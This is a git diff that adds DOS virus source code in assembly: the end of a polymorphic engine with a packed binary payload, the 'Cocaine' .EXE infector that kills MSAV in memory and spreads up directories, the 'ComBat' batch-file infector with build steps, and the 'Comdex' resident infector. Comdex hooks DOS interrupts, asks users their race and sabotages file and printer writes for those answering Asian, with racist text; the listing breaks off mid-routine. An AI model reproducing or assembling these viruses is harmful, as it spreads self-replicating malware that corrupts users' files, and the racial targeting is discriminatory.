+no_sp2: push ax + and ah,38 + cmp ah,20 + pop ax + jnz no_sp2_ret + xor ah,20 +no_sp2_ret: ret + + +;**************************************************************************** +;* don't use [BP+..] +;**************************************************************************** + +no_bp: test ah,4 + jnz no_bp2 + and ah,0FDh + ret + +no_bp2: push ax + and ah,7 + cmp ah,6 + pop ax + jnz no_bp_ret + or ah,1 +no_bp_ret: ret + + +;**************************************************************************** +;* write byte for JMP/CALL and fill with random bullshit +;**************************************************************************** + +fill_bullshit: push cx + xchg ax,cx +bull_lup: call rnd_get + stosb + loop bull_lup + pop cx + ret + + +;**************************************************************************** +;* random number generator (stolen from 'Bomber') +;**************************************************************************** + +rnd_init: push cx + call rnd_init0 ;init + and ax,000F + inc ax + xchg ax,cx +random_lup: call rnd_get ;call random routine a few + loop random_lup ; times to 'warm up' + pop cx + ret + +rnd_init0: push dx ;initialize generator + push cx + mov ah,2C + int 21 + in al,40 + mov ah,al + in al,40 + xor ax,cx + xor dx,ax + jmp short move_rnd + +rnd_get: push dx ;calculate a random number + push cx + push bx + mov ax,0 ;will be: mov ax,xxxx + mov dx,0 ; and mov dx,xxxx + mov cx,7 +rnd_lup: shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_l2 + inc al +rnd_l2: loop rnd_lup + pop bx + +move_rnd: mov word ptr ds:[rnd_get+4],ax + mov word ptr ds:[rnd_get+7],dx + mov al,dl + pop cx + pop dx + ret + + +;**************************************************************************** +;* tables for engine +;**************************************************************************** + + ; AX AL AH (BX) BL BH CX CL CH +mov_byte db 0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5 + + ; nop clc stc cmc cli cld incbp decbp +nop_data8 db 90, 0F8, 0F9, 0F5, 0FA, 0FC, 45, 4Dh + + ; or and xchg mov +nop_data16 db 8, 20, 84, 88 + + ; bl/bh, bx, si di +dir_change db 07, 07, 04, 05 +ind_change db 03, 03, 06, 07 + + + ; xor xor add sub +how_mode db 30, 30, 00, 28 + + ; ? add xor or +add_mode db 0, 0C8, 0F0, 0C0 + + +;**************************************************************************** +;* text + buffer +;**************************************************************************** + + db ' Amsterdam = COFFEESHOP! ' + +buffer db 0CDh, 20 ;original code of dummy program + db (BUFLEN-2) dup (?) + + +;**************************************************************************** +;* the (packed) picture routine +;**************************************************************************** + +beeld db 0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h + db 090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh + db 001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh + db 000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h + db 0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h + db 00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h + db 0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch + db 004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h + db 022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh + db 0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh + db 081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h + db 003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch + db 0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h + db 002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh + db 0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh + db 0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh + db 0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh + db 0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h + db 084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h + db 083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h + db 001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h + db 0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh + db 0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h + db 0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h + db 0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h + db 01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h + db 061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h + db 0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h + db 009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h + db 05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh + db 0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch + db 020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh + db 0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h + db 0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh + db 060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh + db 022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh + db 0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h + db 041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h + db 009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh + db 01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h + db 09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh + db 084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh + db 053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h + db 01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h + db 0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h + db 07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h + db 076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h + db 055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h + db 084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh + db 0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h + db 050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh + db 070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh + db 020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h + db 019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh + db 0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h + db 083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh + db 0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h + db 072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h + db 041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh + db 002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h + db 072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h + db 0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h + db 070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh + db 040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h + db 0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh + db 061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h + db 048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h + db 066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h + db 05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h + db 093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh + db 0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh + db 0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh + db 0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h + db 0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h + db 0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h + db 0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h + db 02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h + db 0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h + db 0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh + db 0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh + db 02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h + db 0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h + db 0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah + db 0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h + db 0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh + db 0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h + db 0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh + db 0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah + db 0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h + db 03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh + db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h + db 0E9h, 07Dh, 0EBh + +last: + +_TEXT ends + end first + \ No newline at end of file diff --git a/c/COKE.ASM b/c/COKE.ASM new file mode 100755 index 0000000..c7442a6 --- /dev/null +++ b/c/COKE.ASM @@ -0,0 +1,280 @@ +; Virus name : Cocaine [CoKe] +; Virus author: Metal Militia +; Virus group : Immortal Riot +; Origin : Sweden +; +; This is an non-resident, .EXE infector moving upwards using the +; "dot-dot" method. Watch your .EXE files for the bad guy siganture +; "IR" somewhere in the beginning, after the MZ or ZM thang.. :) +; +; Also, check your back for a "?" a bit from it aswell. Btw! Everytime +; you run it, it'll take out that fucking MSAV piece of shit from your +; memory. Im telling you, go get TB-SCAN or something instead of such +; hacked things. TB-Scan finds this virus as both Ear-6 and Burma but +; is not any sort of hack from them or something. I didn't had time to +; fix the encryption, and since this is just a test from me i really +; don't give a shit, but ofcause you're always welcome to keep +; developing it, heheh :) +; +; To add here, is that Ear-6 is non-res com/exe infector, umm.. that's +; Dark Angels virus, and this is not alike it! Burma is non-res ow-vir, +; and also not very much alike this anyhow.. However, i've heard about +; some resident, non-ow Burma aswell? Not sure on thatone. So, it'll +; probably only confuse some users, I guess.. Enjoy Insane Reality #4!! +; +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; COCAINE! [CoKE] +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +.model tiny +.radix 16 +.code + org 100 +start: + mov blast,0fa01 ; Take MSAV's shit + mov dx,5945h ; out of the fucking + int 16 ; memory right away + + push ds ;Save old offset + + push cs ;Set ES/DS/CS + pop es + push cs + pop ds ;for data accessing. + + call get_offset ;This places the displace- + get_offset: ;ment of the virus from + pop bp ;its original compilation + sub bp,offset get_offset ;into BP. + + Reset_Variables: ;Reset XX_old values for + lea di,[IP_storage+bp] ;new infection. + lea si,[IP_old+bp] + call mov_it + call mov_it + call mov_it + call mov_it + jmp set_dta +mov_it: + movsw ; movsw + ret ; ret(urn) to caller + + Set_DTA: + lea dx,[New_DTA+bp] ;Set DTA to the after + mov ah,readin ;virus + int 21 + + mov ah,47h ; Get + mov dl,0 ; current + lea si,[bp+new_dta+2ch] ; directory + int 21h + + Find_first_file: + mov ah,4e ; Find first + lea dx,[bp+masker] ; .EXE file + + Find_File: + int 21 + jnc infeqt ; If found, infect + jmp ch_dir ; Else, change directoy + + Infeqt: + mov blast,3d02 ; Open file + lea dx,[bp+New_DTA+1e] ; 1eh = DTA place for filename + int 21 + + xchg bx,blast ; Or, mov ax,bx + + mov ah,3f ; Read in + mov mate,readin ; 1ah + lea dx,[bp+exe_header] ; to EXE header + int 21 + + cmp word ptr [bp+exe_header+0e],'RI' ; Check if already + je close_file ; infected. If so, + ; close and get nextone + call Save_Old_Header ; Save old header + + mov blast,4202 ; Go to the end of the file. + xor mate,mate + cwd + int 21 + + push blast + push dx + + call calculate_CSIP ; calculate virus startingpoint + + pop dx + pop blast + + call calculate_size ; calculate fsize for the header + + mov mate,end_virus-start ; viruscode + mov ah,svenne ; write it + lea dx,[bp+start] ; from start + int 21 ; to victim (uninfected file) + + mov blast,4200 ; Return to the beginning + xor mate,mate ; of the file. + cwd + int 21 + + mov mate,readin ; 1ah + mov ah,svenne ; write it + lea dx,[bp+exe_header] ; to the EXE header + int 21 + +Close_File: + mov ah,3e ; close the file + int 21 ; and go get the nextone + + Find_Next_File: + mov ah,4f ; find next file + jmp Find_File ; do it! + + No_More_Files: + mov ah,2a ; get date + int 21 + cmp dl,1 ; 1st of any month? + jne ret_to_host ; if not, outa here + + mov ah,9 ; print + lea dx,[bp+eternal_love] ; the note + int 21 + jmp $ + +ret_to_host: + + lea dx,[bp+new_dta+2ch] ; Restore + mov ah,3bh ; directory + int 21 + + pop ds + mov dx,80 ; restore + mov ah,readin ; the DTA + int 21 + + Restore_To_Host: + push ds ; Restore ES/DS/PSP + pop es + + mov blast,es + add blast,10 + + add word ptr cs:[bp+CS_storage],blast + ; By current seg, adjust old CS + + cli ; Clear int's + add blast,word ptr cs:[bp+SS_storage] ; Old SS (adjust it) + mov ss,blast ; Original position + mov sp,word ptr cs:[bp+SP_storage] ; (return stack) + sti ; Store (?) int's + + db 0ea ; Jmp Far + IP_storage dw 0 ; Storage place for IP/CS/SP/SS + CS_storage dw 0 + SP_storage dw 0 + SS_storage dw 0 + + + IP_old dw 0 + CS_old dw 0fff0 + SP_old dw 0 + SS_old dw 0fff0 + + K_kool: + jmp no_more_files + K_spam: + jmp find_first_file + Save_Old_Header: + mov blast,word ptr [exe_header+bp+0e] ; Save SS (old) + mov word ptr [SS_old+bp],blast + mov blast,word ptr [exe_header+bp+10] ; Save SP (old) + mov word ptr [SP_old+bp],blast + mov blast,word ptr [exe_header+bp+14] ; Save IP (old) + mov word ptr [IP_old+bp],blast + mov blast,word ptr [exe_header+bp+16] ; Save CS (old) + mov word ptr [CS_old+bp],blast + ret + + calculate_CSIP: + push blast + mov blast,word ptr [exe_header+bp+8] ;Get header length + mov cl,brutal ;and convert it to + shl blast,cl ;bytes. + mov mate,blast + pop blast + + sub blast,mate ;Subtract from + sbb dx,RAVE ;file (header size) + + mov cl,0c ;Convert into segment + shl dx,cl ;address (DX) + mov cl,brutal + push blast + shr blast,cl + add dx,blast + shl blast,cl + pop mate + sub mate,blast + mov word ptr [exe_header+bp+14],mate + mov word ptr [exe_header+bp+16],dx ;Set CS:IP (new) + mov word ptr [exe_header+bp+0e],'RI' ;Set SS/CS (new) + mov word ptr [exe_header+bp+10],0fffe ;Set SP (new) + mov byte ptr [exe_header+bp+12],'?' ;mark infection + ret + + calculate_size: + push blast ;Save offset for later + + add blast,end_virus-start ; add size (virus) + adc dx,RAVE + + mov cl,POLICE + shl dx,cl ;convert to pages (DX) + mov cl,BRUTALITY + shr blast,cl + add blast,dx + inc blast + mov word ptr [exe_header+bp+SPAM],blast ; save pages (x number) + + pop blast ; get offset + mov dx,blast + shr blast,cl ; calcute last page + shl blast,cl ; (remainder) + sub dx,blast + mov word ptr [exe_header+bp+RUDE],dx ;save remainder + ret + + ch_dir: + mov ah,3bh ; Change + lea dx,[bp+dot_dot] ; up a dir + int 21 + jc no_more ; If root, outa here + jmp k_spam ; Else, try to infect here aswell + + no_more: + jmp k_kool + + blast equ ax + mate equ cx + police equ 7 + brutality equ 9 + rave equ 0 ; Hey! That's you :) + spam equ 04 + rude equ 02 + brutal equ 4 + readin equ 1a + svenne equ 40 + virnote db 'Cocaine [CoKe]' + db '(c) Metal Militia/Immortal Riot' + eternal_love db 0dh,0ah,'Love to LISA :)',0dh,0ah,'$' + db 'Cocaine''s running thrue your vains' + db 'It seems you have become an addict' + masker db '*IR.EXE',0 ;File mask used for search + dot_dot db '..',0 + end_virus: + exe_header db 1a dup (?) + New_DTA: + end start \ No newline at end of file diff --git a/c/COMBAT.ASM b/c/COMBAT.ASM new file mode 100755 index 0000000..6e191b8 --- /dev/null +++ b/c/COMBAT.ASM @@ -0,0 +1,142 @@ +;=====( Combat virus by Rajaat )=============================================== +; +; Non-resident BAT infector, doesn't use external programs by third party. +; +;============================================================================== +; +; Virus name : Combat +; Author : Rajaat +; Origin : United Kingdom, July 1996 +; Compiling : Using TASM +; +; TASM /M COMBAT +; TLINK /T COMBAT +; REN COMBAT.COM COMBAT.BAT +; Targets : BAT files +; Size : Doesn't matter +; Resident : No +; Polymorphic : No +; Encrypted : No +; Stealth : No +; Tunneling : No +; Retrovirus : No +; Antiheuristics: No +; Peculiarities : It infects BAT files parasitically +; Drawbacks : It's a goddamn BAT infector, what do you think?!? +; Behaviour : No really, find out yourself! I was bored and made this, +; do you really think I'd spend time explaining what it DOES? +; It's unknown what this virus might do besides replicate :) +;============================================================================== +; +; Results with antivirus software +; +; TBFILE - Not tested +; TBSCAN - Not tested +; TBMEM - Not tested +; TBCLEAN - Not tested +; SVS - Not tested +; SSC - Not tested +; F-PROT - Not tested +; F-PROT /ANALYSE - Not tested +; F-PROT /ANALYSE /PARANOID - Not tested +; AVP - Not tested +; VSAFE - Not tested +; NEMESIS - Not tested +; +;============================================================================== + +.model tiny +.code +.radix 16 + +signature equ 5240 + + org 100 + +main: + db '@REM ',0ff + jmp com_entry + db ' * ComBat *' + db 0dh,0ah + db '@echo off',0dh,0ah + db 'goto ComBat',0dh,0ah + +com_entry: mov si,80 + cmp byte ptr ds:[si],0 + je no_check + cld +find_argument: inc si + lodsb + dec si + cmp al,20 + je find_argument + mov dx,si +find_end: lodsb + cmp al,0dh + jne find_end + mov byte ptr ds:[si-1],0 + push dx + mov ax,3d02 + int 21 + jc no_check + xchg ax,bx + lea dx,virus_end + mov ah,3f + mov cx,3 + int 21 + mov ah,3e + int 21 + pop dx + cmp word ptr virus_end,signature + je no_check + mov ax,4301 + xor cx,cx + int 21 + mov ah,3c + xor cx,cx + lea dx,temp_file + int 21 + jc no_check + xchg ax,bx + mov ah,40 + lea dx,main + mov cx,file_length + int 21 + mov ah,3e + int 21 + mov ax,4c00 + int 21 + + db 0,'Rajaat / Genesis',0 + +no_check: mov ax,4c01 + int 21 + +temp_file db 'ComBat.TMP',0 + +batch_2 db 0dh,0ah + db ':ComBat',0dh,0ah + db 'if #%_tmp%#==## goto no_call',0dh,0ah + db 'C:\ComBat.COM %1',0dh,0ah + db 'if errorlevel 1 goto done_ComBat',0dh,0ah + db 'type %1 >> ComBat.TMP',0dh,0ah + db 'echo. >> ComBat.TMP',0dh,0ah + db 'echo :done_ComBat >> ComBat.TMP',0dh,0ah + db 'copy ComBat.TMP %1 > nul',0dh,0ah + db 'del ComBat.TMP > nul',0dh,0ah + db 'goto done_ComBat',0dh,0ah + db ':no_call',0dh,0ah + db 'set _tmp=%0',0dh,0ah + db 'if #%_tmp%#==## set _tmp=AUTOEXEC.BAT',0dh,0ah + db 'if not exist %_tmp% set _tmp=%0.BAT',0dh,0ah + db 'if not exist %_tmp% goto path_error',0dh,0ah + db 'copy %_tmp% C:\ComBat.COM > nul',0dh,0ah + db 'for %%f in (*.bat c:\*.bat c:\dos\*.bat c:\windows\*.bat ..\*.bat) do call %_tmp% %%f',0dh,0ah + db 'del C:\ComBat.COM > nul',0dh,0ah + db ':path_error',0dh,0ah + db 'set _tmp=',0dh,0ah +file_length equ $-main +virus_end equ $ + db ':done_ComBat',0dh,0ah + +end main diff --git a/c/COMDEX7 (46).ASM b/c/COMDEX7 (46).ASM new file mode 100755 index 0000000..bad65b0 --- /dev/null +++ b/c/COMDEX7 (46).ASM @@ -0,0 +1,805 @@ +; The Comdex exibit guide program +; For the Fall 1991 Comdex Las Vegas Convention +; +; +; A short description of the program: +; +; It only affects .exe files. +; Comdex attaches itself to the end of the programs it affects. +; +; When an affected file is run, Comdex copies itself to top of +; free memory, and modifies the memory blocks, in order to hide from +; memory mapping programs. Some programs may overwrite this area, +; causing the computer to crash. If this happens, the user obviously +; deserved it. +; +; Comdex will hook int 21h and when function 4b (exec) is called +; it sometimes will affect the program being run. It will check every +; program that is run for affection, and if it is not already +; affected, it will be. +; +; Comdex will, after 1 hr, one of 16 chance, ask your race or +; nationality prior to executing a file. Af you answer that you +; are asian/pacific rim, one of 256 file writes will have the +; length adjusted downward or the record size reduced, depending +; upon the specific dos call made. +; +; +; Comdex will remove the read-only attribute before trying to +; affect programs. +; +; Affected files can be easily recognized, since they always end in +; "COMD" +; +; To check for system affection, a byte at 0:33c is used - if it +; contains a 069h, Comdex is installed in memory. +; +; +comsiz equ 128 ;in paragraphs + +code segment para public 'code' + assume cs:code,ds:nothing,ss:nothing,es:nothing + +; +; Comdex is basically divided in the following parts. +; +; 1. the main program - run when an affected program is run. +; it will check if the system is already affected, and if not +; it will install Comdex. +; +; 2. the new int 17 handler. adjusts two ascii output chars. +; +; 3. the new int 14 handler. +; +; 4. the new int 8 handler. +; +; 5. the new int 9 handler. +; +; 6. the new int 21 handler. it will look for exec calls, and +; affect the program being run. +; +; +; this is a fake mcb (memory control block) +; ms-dos inspects the chain of mcbs whenever a memory block allocation, +; modification, or release function is requested, or when a program +; is execed or terminated... +; + db 'Z',00,00,comsiz,0,0,0,0,0,0,0,0,0,0,0,0 +; ^___ # of paragraphs of the controlled mem blk + + + +Comdex proc far +; +; Comdex starts by pushing the original start address on the stack, +; so it can transfer control there when finished. +; +labl: sub sp,4 + push bp + mov bp,sp + push ax +;following line nuked for ease of test +; nop ;added so that scan84 doesn't id as [ice-3] + mov ax,es +; +; put the the original cs on the stack. the add ax,data instruction +; is modified by Comdex when it affects other programs. +; + db 05h ;this is an add ax,10h +org_cs dw 0010h + mov [bp+4],ax +; +; put the the original ip on the stack. this mov [bp+2],data instruction +; is modified by Comdex when it affects other programs. +; + db 0c7h,46h,02h +org_ip dw 0000h +; +; save all registers that are modified. +; + push es + push ds + push bx + push cx + push si + push di +; +; check if already installed. quit if so. +; + mov ax,0 + mov es,ax ;zero es + cmp es:[33ch],byte ptr 069h +;&& +; jne l1 +; +; restore all registers and return to the original program. +; +exit: pop di + pop si + pop cx + pop bx + pop ds + pop es + pop ax + pop bp + retf +; +; Comdex tries to hide from detection by modifying the memory block it +; uses, so it seems to be a block that belongs to the operating system. +; +; it looks rather weird, but it seems to work. +; +l1: mov ah,52h + call int21 ;undefined dos call!!? + mov ax,es:[bx-2] + nop + mov es,ax + add ax,es:[0003] + inc ax + inc ax + mov cs:[0001],ax +; +; next, Comdex modifies the memory block of the affected program. +; it is made smaller, and no longer the last block. +; + mov bx,ds + dec bx + nop + mov ds,bx + mov al,'M' + mov ds:[0000],al + mov ax,ds:[0003] + sub ax,comsiz + mov ds:[0003],ax + add bx,ax + inc bx +; +; then Comdex moves itself to the new block. +; + mov es,bx + xor si,si + xor di,di + push cs + pop ds + mov cx,652h ;the length of this program - + ;be *sure* to update this!! + ;in fact, make it symbolic!! + cld + rep movsb +; +; Comdex then transfers control to the new copy of itself. +; + push es + nop + mov ax,offset l3 + push ax + retf + db 3dh ;confuse disassemblers +; +; zero some variables +; +l3: mov byte ptr cs:[min60],0 + mov byte ptr cs:[min50],0 + mov word ptr cs:[timer],0 + mov byte ptr cs:[input_char],0 +; +; set flag to confirm installation +; + xor ax,ax + mov es,ax + inc ax ;dummy operation to confuse function + mov byte ptr es:[33ch],069h +; +; hook interrupt 21: +; (the primary dos function interrupt) +; + mov ax,es:[0084h] + mov cs:[old21],ax + mov ax,es:[0086h] + nop + mov cs:[old21+2],ax + mov ax,cs + mov es:[0086h],ax + mov ax,offset new21 + mov es:[0084h],ax +; +; hook interrupt 17: +; (bios lpt services) +; + mov ax,es:[005ch] + mov cs:[old17],ax + nop + mov ax,es:[005eh] + mov cs:[old17+2],ax + inc ax ;dummy op + mov ax,cs + mov es:[005eh],ax + mov ax,offset new17 + mov es:[005ch],ax + +; +; hook interrupt 14: +; (bios serial port services) +; +; mov ax,es:[0050h] +; mov cs:[old17],ax +; mov ax,es:[0052h] +; mov cs:[old14+2],ax +; mov ax,cs +; mov es:[0052h],ax +; mov ax,offset new14 +; mov es:[0050h],ax +; +; +; + cmp word ptr cs:[noinf],5 + jg hook8 + jmp exit +; +; hook interrupt 9 +; (bios keyboard interrupt) +; +;hook9: mov ax,es:[0024h] +; mov cs:[old9],ax +; mov ax,es:[0026h] +; mov cs:[old9+2],ax +; mov ax,cs +; mov es:[0026h],ax +; mov ax,offset new9 +; mov es:[0024h],ax +; +; hook interrupt 8 +; (timer ticks) +; + db 3dh,0cch,03h,3dh,3dh ;confuse dissassemblers +hook8: mov ax,es:[0020h] + mov cs:[old8],ax + mov ax,es:[0022h] + mov cs:[old8+2],ax + mov ax,cs + nop + mov es:[0022h],ax + mov ax,offset new8 + mov es:[0020h],ax + jmp exit + + +;the int 21 calls go through this routine to confuse the issue: +int21: push ax + mov ax,0ffh + mov word ptr cs:[internal],ax ;set internal int 21 flag + mov al,20h + inc al ;put 21 in al + mov byte ptr cs:[int21b],al ;self modifying code! + pop ax + db 0cdh ;int opcode +int21b: db 0cch ;overwritten to int 21h + push ax + mov ax,00 + mov word ptr cs:[internal],ax ;clear internal int 21 flag + mov ax,0cch + mov byte ptr cs:[int21b],al ;nuke it back to int 0cch + pop ax + retn + + + + db "Welcome to Comdex " + db "From the Interface Group, Inc. " + db "300 First Avenue " + db "Needham, MA 02194 " + db "(617)449-6600 " + db "For data recovery ask for " + db "Peter J. Bowes, unless you are " + db "Oriental, in which case, we will " + db "not help you. " + +quest db 0dh,0ah,"Software Piracy Prevention Center",0dh,0ah + db "requests your cooperation:",0dh,0ah,0dh,0ah + db "Please enter your race or nationality:",0dh,0ah + db "a. White e. Eastern European",0dh,0ah + db "b. Black f. Soviet",0dh,0ah + db "c. Hispanic g. Western European",0dh,0ah + db "d. Asian/Pacific Rim h. Other",0dh,0ah,0dh,0ah + db " Please enter your response: ","$" + +input_char: db 0 + db 3dh ;confuse disassemblers + +askit: push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + cmp byte ptr cs:[min60],1 ;resident 1 hr yet? + jnz noask + cmp byte ptr cs:[input_char],0 + jnz noask ;don't ask twice + mov ax,word ptr cs:[timer] + and ax,000fh ;look at ls free running clock + cmp ax,000ch ;does it happen to be 00ch? (1 of 16) + jnz noask ;if not, don't ask the guy! + + mov dx,offset quest ;ask the guy about race + mov ah,09h ;dos string print + push cs + pop ds + call int21 ;print question on crt + mov ax,0c01h ;dos flush input and get char + call int21 ;get char + and al,0dfh ;force upper case + mov byte ptr cs:[input_char],al ;save away response +noask: pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retn + +;******************************************************************** + +; +; int 9 (keyboard) replacement: +; this routine does not become active until 50 minutes after +; the execution of an affected program. +; +;new9: push ax +; push es +; cmp byte ptr cs:[min50],1 +; jnz retx1 + +;insert any code here that activates 50 min after launch for int 9... + +;retx1: pop es ;prepare to go to old int 9 code: +; pop ax +; db 0eah ;jmp 0000:0000 nmemonic +;old9 dw 0,0 ;storage for old addr + + +;******************************************************************** +; +; new int 14 (serial port) routine - +; +;new14: cmp ah,1 ;is it an output request? +; jz s1 ;yup. don't return just yet. +;do14: db 0eah ;jmp 0000:0000 nmemonic +;old14 dw 0,0 +;s1: + +;insert any code here for output to serial port... + +; jmp do14 + + +;******************************************************************** +; +; new int 8 routine (bios timer ticks) +; + db 3dh ;piss off disassemblers +new8: push dx + push cx + push bx + push ax + jmp txex ;&& + inc word ptr cs:[timer] ; increment timer + cmp byte ptr cs:[min60],01 ; if counter >= 60 min. + jz tt0 ; no need to check any more + cmp word ptr cs:[timer],-11 ; 60 minutes ? + jz tt1 + cmp word ptr cs:[timer],54601 ; 50 minutes ? + jz tt2 + jmp txex +; +; 50 minutes after an affected program is run the flag is set. +; +tt2: mov byte ptr cs:[min50],1 + jmp txex +; +; 60 minutes after an affected program is run this flag is set. +; +tt1: mov byte ptr cs:[min60],1 + +; exit interrupt routine: + + jmp txex +; +; every time an int 8 occurs, after the 60 min. have passed, we +; end up here: +; +tt0: +;insert any fun timer oriented code here +; +; restore registers and quit +; +txex: pop ax + pop bx + pop cx + pop dx + db 0eah +old8 dw 0,0 + +;******************************************************************** +; +; new int 17 routine. lpt out stuff. +; +new17: jmp do17 ;&& + cmp ah,0 + + jz p0 +do17: db 0eah +old17 dw 0,0 + db 2eh ;confuse disassemblers +p0: cmp byte ptr cs:[input_char],44h ;d. asian/pacific rim? + jne not_asian + push ax + mov ax,word ptr cs:[timer] + and ax,00ffh + cmp ax,0032h ; one of 256 odds + pop ax ; restore ax, doesn't change flags + jne do17 ; don't twiddle lpt 255/256 